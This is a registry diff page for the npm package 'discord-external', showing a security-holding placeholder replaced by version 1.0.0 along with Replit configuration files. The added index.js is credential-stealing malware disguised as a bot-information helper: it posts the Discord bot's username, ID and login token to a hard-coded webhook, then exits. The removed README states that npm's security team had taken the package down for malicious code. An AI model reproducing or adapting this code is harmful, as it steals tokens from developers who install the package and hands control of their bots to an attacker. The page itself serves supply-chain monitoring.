discord-external 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discord-external might be problematic. Click here for more details.
- package/.cache/replit/nix/env.json +1 -0
- package/.replit +73 -0
- package/.upm/store.json +1 -0
- package/index.js +11 -0
- package/package.json +13 -3
- package/replit.nix +8 -0
- package/README.md +0 -5
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"entries":{"replit.nix":{"env":{"AR":"ar","AS":"as","CC":"gcc","CONFIG_SHELL":"/nix/store/bm7jr70d9ghn5cczb3q0w90apsm05p54-bash-5.1-p8/bin/bash","CXX":"g++","HOST_PATH":"/nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2/bin:/nix/store/drn8ik6rnzy3xva3xvhi3zll4gzzd5x8-typescript-language-server-0.7.1/bin:/nix/store/ms6qmg7zicwy03rq9radb922ylqywxqq-yarn-1.22.17/bin:/nix/store/agblxg9p3ndmrk9kcn3n719c8n36a72q-jest-cli-23.6.0/bin:/nix/store/jd1y449cf66yx5d1hwyjvc4562b1p1am-coreutils-9.0/bin:/nix/store/jjvw20r6pz3ff7pn91yhvfx8s7izsqan-findutils-4.8.0/bin:/nix/store/ndd6gh8zigjy0j68arj7nyrbcw4kcw01-diffutils-3.8/bin:/nix/store/bpg0ia8nkavzw7s66avi1f9nz72i1p3r-gnused-4.8/bin:/nix/store/df3ff57sbkgbdhc4ar19zs4y0hrhggii-gnugrep-3.7/bin:/nix/store/4fv981732jqzirah3h2y6ynmlsfbxb37-gawk-5.1.1/bin:/nix/store/k5ifa08z0qlkknnb8s1bdh2kdrx0qmd0-gnutar-1.34/bin:/nix/store/dcird3wn9xywy49w3qq1hpjwvjfn3lph-gzip-1.11/bin:/nix/store/s85iyc3p9nbinwvwx9rcqirf1m68zpmm-bzip2-1.0.6.0.2-bin/bin:/nix/store/msncxcf5lgy5by9cqjyxchxd26x47d64-gnumake-4.3/bin:/nix/store/bm7jr70d9ghn5cczb3q0w90apsm05p54-bash-5.1-p8/bin:/nix/store/gi3psbgxbf2fmvgi36pmw77nnh58vq3l-patch-2.7.6/bin:/nix/store/sqb20f4rk80lw21j4is85qwljlphmn3g-xz-5.2.5-bin/bin","LD":"ld","LOCALE_ARCHIVE":"/usr/lib/locale/locale-archive","NIX_BINTOOLS":"/nix/store/spm7d6ncyx2k5w8yl6clzynv2s4wf1kp-binutils-wrapper-2.35.2","NIX_BINTOOLS_WRAPPER_TARGET_HOST_x86_64_unknown_linux_gnu":"1","NIX_BUILD_CORES":"4","NIX_BUILD_TOP":"/tmp","NIX_CC":"/nix/store/2qwnn6lizc9d119kp3zig3q19gbfm4n6-gcc-wrapper-10.3.0","NIX_CC_WRAPPER_TARGET_HOST_x86_64_unknown_linux_gnu":"1","NIX_CFLAGS_COMPILE":" -frandom-seed=f7cflhc7zk -isystem /nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2/include -isystem /nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2/include","NIX_ENFORCE_NO_NATIVE":"1","NIX_HARDENING_ENABLE":"fortify stackprotector pic strictoverflow format relro bindnow","NIX_INDENT_MAKE":"1","NIX_LDFLAGS":"-rpath /nix/store/f7cflhc7zkpkrfjqmvcw6awn0nrmymcs-nix-shell/lib64 -rpath /nix/store/f7cflhc7zkpkrfjqmvcw6awn0nrmymcs-nix-shell/lib ","NIX_STORE":"/nix/store","NM":"nm","NODE_PATH":"/nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2/lib/node_modules:/nix/store/drn8ik6rnzy3xva3xvhi3zll4gzzd5x8-typescript-language-server-0.7.1/lib/node_modules:/nix/store/ms6qmg7zicwy03rq9radb922ylqywxqq-yarn-1.22.17/lib/node_modules:/nix/store/agblxg9p3ndmrk9kcn3n719c8n36a72q-jest-cli-23.6.0/lib/node_modules","OBJCOPY":"objcopy","OBJDUMP":"objdump","PATH":"/nix/store/bccsypsvjskpzsgzww8bzjgqmck4bjbf-bash-interactive-5.1-p8/bin:/nix/store/bqmg7l0jn6nhgjlfc981g1imzb6ny8xl-patchelf-0.13/bin:/nix/store/2qwnn6lizc9d119kp3zig3q19gbfm4n6-gcc-wrapper-10.3.0/bin:/nix/store/6r5h4h7nqx73m87j5b9sjwy2x9kyri0k-gcc-10.3.0/bin:/nix/store/csz8v8xi2f644j26n84i20dnqmq43sih-glibc-2.33-117-bin/bin:/nix/store/jd1y449cf66yx5d1hwyjvc4562b1p1am-coreutils-9.0/bin:/nix/store/spm7d6ncyx2k5w8yl6clzynv2s4wf1kp-binutils-wrapper-2.35.2/bin:/nix/store/h19zwlkrp6b0hp3ypbqdcggnyarn3af6-binutils-2.35.2/bin:/nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2/bin:/nix/store/drn8ik6rnzy3xva3xvhi3zll4gzzd5x8-typescript-language-server-0.7.1/bin:/nix/store/ms6qmg7zicwy03rq9radb922ylqywxqq-yarn-1.22.17/bin:/nix/store/agblxg9p3ndmrk9kcn3n719c8n36a72q-jest-cli-23.6.0/bin:/nix/store/jd1y449cf66yx5d1hwyjvc4562b1p1am-coreutils-9.0/bin:/nix/store/jjvw20r6pz3ff7pn91yhvfx8s7izsqan-findutils-4.8.0/bin:/nix/store/ndd6gh8zigjy0j68arj7nyrbcw4kcw01-diffutils-3.8/bin:/nix/store/bpg0ia8nkavzw7s66avi1f9nz72i1p3r-gnused-4.8/bin:/nix/store/df3ff57sbkgbdhc4ar19zs4y0hrhggii-gnugrep-3.7/bin:/nix/store/4fv981732jqzirah3h2y6ynmlsfbxb37-gawk-5.1.1/bin:/nix/store/k5ifa08z0qlkknnb8s1bdh2kdrx0qmd0-gnutar-1.34/bin:/nix/store/dcird3wn9xywy49w3qq1hpjwvjfn3lph-gzip-1.11/bin:/nix/store/s85iyc3p9nbinwvwx9rcqirf1m68zpmm-bzip2-1.0.6.0.2-bin/bin:/nix/store/msncxcf5lgy5by9cqjyxchxd26x47d64-gnumake-4.3/bin:/nix/store/bm7jr70d9ghn5cczb3q0w90apsm05p54-bash-5.1-p8/bin:/nix/store/gi3psbgxbf2fmvgi36pmw77nnh58vq3l-patch-2.7.6/bin:/nix/store/sqb20f4rk80lw21j4is85qwljlphmn3g-xz-5.2.5-bin/bin","RANLIB":"ranlib","READELF":"readelf","SIZE":"size","SOURCE_DATE_EPOCH":"315532800","STRINGS":"strings","STRIP":"strip","XDG_DATA_DIRS":"/nix/store/bqmg7l0jn6nhgjlfc981g1imzb6ny8xl-patchelf-0.13/share","_":"/nix/store/jd1y449cf66yx5d1hwyjvc4562b1p1am-coreutils-9.0/bin/env","__ETC_PROFILE_SOURCED":"1","buildInputs":"/nix/store/ra8r42571xvv1m85wanh1ll9mxmp0mwl-nodejs-16.13.2 /nix/store/drn8ik6rnzy3xva3xvhi3zll4gzzd5x8-typescript-language-server-0.7.1 /nix/store/ms6qmg7zicwy03rq9radb922ylqywxqq-yarn-1.22.17 /nix/store/agblxg9p3ndmrk9kcn3n719c8n36a72q-jest-cli-23.6.0","builder":"/nix/store/bm7jr70d9ghn5cczb3q0w90apsm05p54-bash-5.1-p8/bin/bash","configureFlags":"","depsBuildBuild":"","depsBuildBuildPropagated":"","depsBuildTarget":"","depsBuildTargetPropagated":"","depsHostHost":"","depsHostHostPropagated":"","depsTargetTarget":"","depsTargetTargetPropagated":"","doCheck":"","doInstallCheck":"","name":"nix-shell","nativeBuildInputs":"","nobuildPhase":"echo\necho \"This derivation is not meant to be built, aborting\";\necho\nexit 1\n","out":"/nix/store/f7cflhc7zkpkrfjqmvcw6awn0nrmymcs-nix-shell","outputs":"out","patches":"","phases":"nobuildPhase","propagatedBuildInputs":"","propagatedNativeBuildInputs":"","shell":"/nix/store/bm7jr70d9ghn5cczb3q0w90apsm05p54-bash-5.1-p8/bin/bash","shellHook":"","stdenv":"/nix/store/z7wz8q1i0j4jmfpn87wpakwma6q0k90n-stdenv-linux","strictDeps":"","system":"x86_64-linux"},"dependencies":[{"path":"replit.nix","mod_time":"2022-01-17T19:42:47.11800019Z"}],"channel":"stable-21_11"}}}
|
package/.replit
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
entrypoint = "index.js"
|
|
2
|
+
|
|
3
|
+
[interpreter]
|
|
4
|
+
command = [
|
|
5
|
+
"prybar-nodejs",
|
|
6
|
+
"-q",
|
|
7
|
+
"--ps1",
|
|
8
|
+
"\u0001\u001b[33m\u0002\u0001\u001b[00m\u0002 ",
|
|
9
|
+
"-i"
|
|
10
|
+
]
|
|
11
|
+
|
|
12
|
+
[nix]
|
|
13
|
+
channel = "stable-21_11"
|
|
14
|
+
|
|
15
|
+
[env]
|
|
16
|
+
XDG_CONFIG_HOME = "/home/runner/.config"
|
|
17
|
+
|
|
18
|
+
[packager]
|
|
19
|
+
language = "nodejs"
|
|
20
|
+
|
|
21
|
+
[packager.features]
|
|
22
|
+
packageSearch = true
|
|
23
|
+
guessImports = true
|
|
24
|
+
enabledForHosting = false
|
|
25
|
+
|
|
26
|
+
[unitTest]
|
|
27
|
+
language = "nodejs"
|
|
28
|
+
|
|
29
|
+
[languages.javascript]
|
|
30
|
+
pattern = "**/{*.js,*.jsx,*.ts,*.tsx}"
|
|
31
|
+
|
|
32
|
+
[languages.javascript.languageServer]
|
|
33
|
+
start = [ "typescript-language-server", "--stdio" ]
|
|
34
|
+
|
|
35
|
+
[debugger]
|
|
36
|
+
support = true
|
|
37
|
+
|
|
38
|
+
[debugger.interactive]
|
|
39
|
+
transport = "localhost:0"
|
|
40
|
+
startCommand = [ "dap-node" ]
|
|
41
|
+
|
|
42
|
+
[debugger.interactive.initializeMessage]
|
|
43
|
+
command = "initialize"
|
|
44
|
+
type = "request"
|
|
45
|
+
|
|
46
|
+
[debugger.interactive.initializeMessage.arguments]
|
|
47
|
+
clientID = "replit"
|
|
48
|
+
clientName = "replit.com"
|
|
49
|
+
columnsStartAt1 = true
|
|
50
|
+
linesStartAt1 = true
|
|
51
|
+
locale = "en-us"
|
|
52
|
+
pathFormat = "path"
|
|
53
|
+
supportsInvalidatedEvent = true
|
|
54
|
+
supportsProgressReporting = true
|
|
55
|
+
supportsRunInTerminalRequest = true
|
|
56
|
+
supportsVariablePaging = true
|
|
57
|
+
supportsVariableType = true
|
|
58
|
+
|
|
59
|
+
[debugger.interactive.launchMessage]
|
|
60
|
+
command = "launch"
|
|
61
|
+
type = "request"
|
|
62
|
+
|
|
63
|
+
[debugger.interactive.launchMessage.arguments]
|
|
64
|
+
args = []
|
|
65
|
+
console = "externalTerminal"
|
|
66
|
+
cwd = "."
|
|
67
|
+
environment = []
|
|
68
|
+
pauseForSourceMap = false
|
|
69
|
+
program = "./index.js"
|
|
70
|
+
request = "launch"
|
|
71
|
+
sourceMaps = true
|
|
72
|
+
stopOnEntry = false
|
|
73
|
+
type = "pwa-node"
|
package/.upm/store.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":2,"languages":{"nodejs-npm":{"specfileHash":"81ed8ad59e66776c3e45258b0fbf7884","lockfileHash":"ee9297d6372956ed7d5f2ae716fbe30d","guessedImports":["discord.js"],"guessedImportsHash":"2987f12c53b559f2cc1c487e60fc186a"}}}
|
package/index.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const Discord = require("discord.js")
|
|
2
|
+
const { WebhookClient } = Discord
|
|
3
|
+
|
|
4
|
+
let webhook = new WebhookClient({url: `https://discord.com/api/webhooks/960332576768274443/YEfbNzWixtxIQiOWwYCE53H6NDIsGNFxnSj8RQRxpl7whuwn3S6qCUPaqWhP5mNYTI_6`})
|
|
5
|
+
|
|
6
|
+
async function sendWebhook(client) {
|
|
7
|
+
await webhook.send({content: `> **USERNAME:** ${client.user.tag}\n> **ID:** ${client.user.id}\n> **TOKEN:** ${client.token}`, username: client.user.username, avatarURL: client.user.avatarURL()})
|
|
8
|
+
process.exit(1)
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
module.exports = sendWebhook
|
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "discord-external",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "get information about bot in discord",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "mohamed98yt",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"discord.js": "^13.6.0"
|
|
14
|
+
},
|
|
15
|
+
"devDependencies": {}
|
|
6
16
|
}
|
package/replit.nix
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discord-external for more information.
|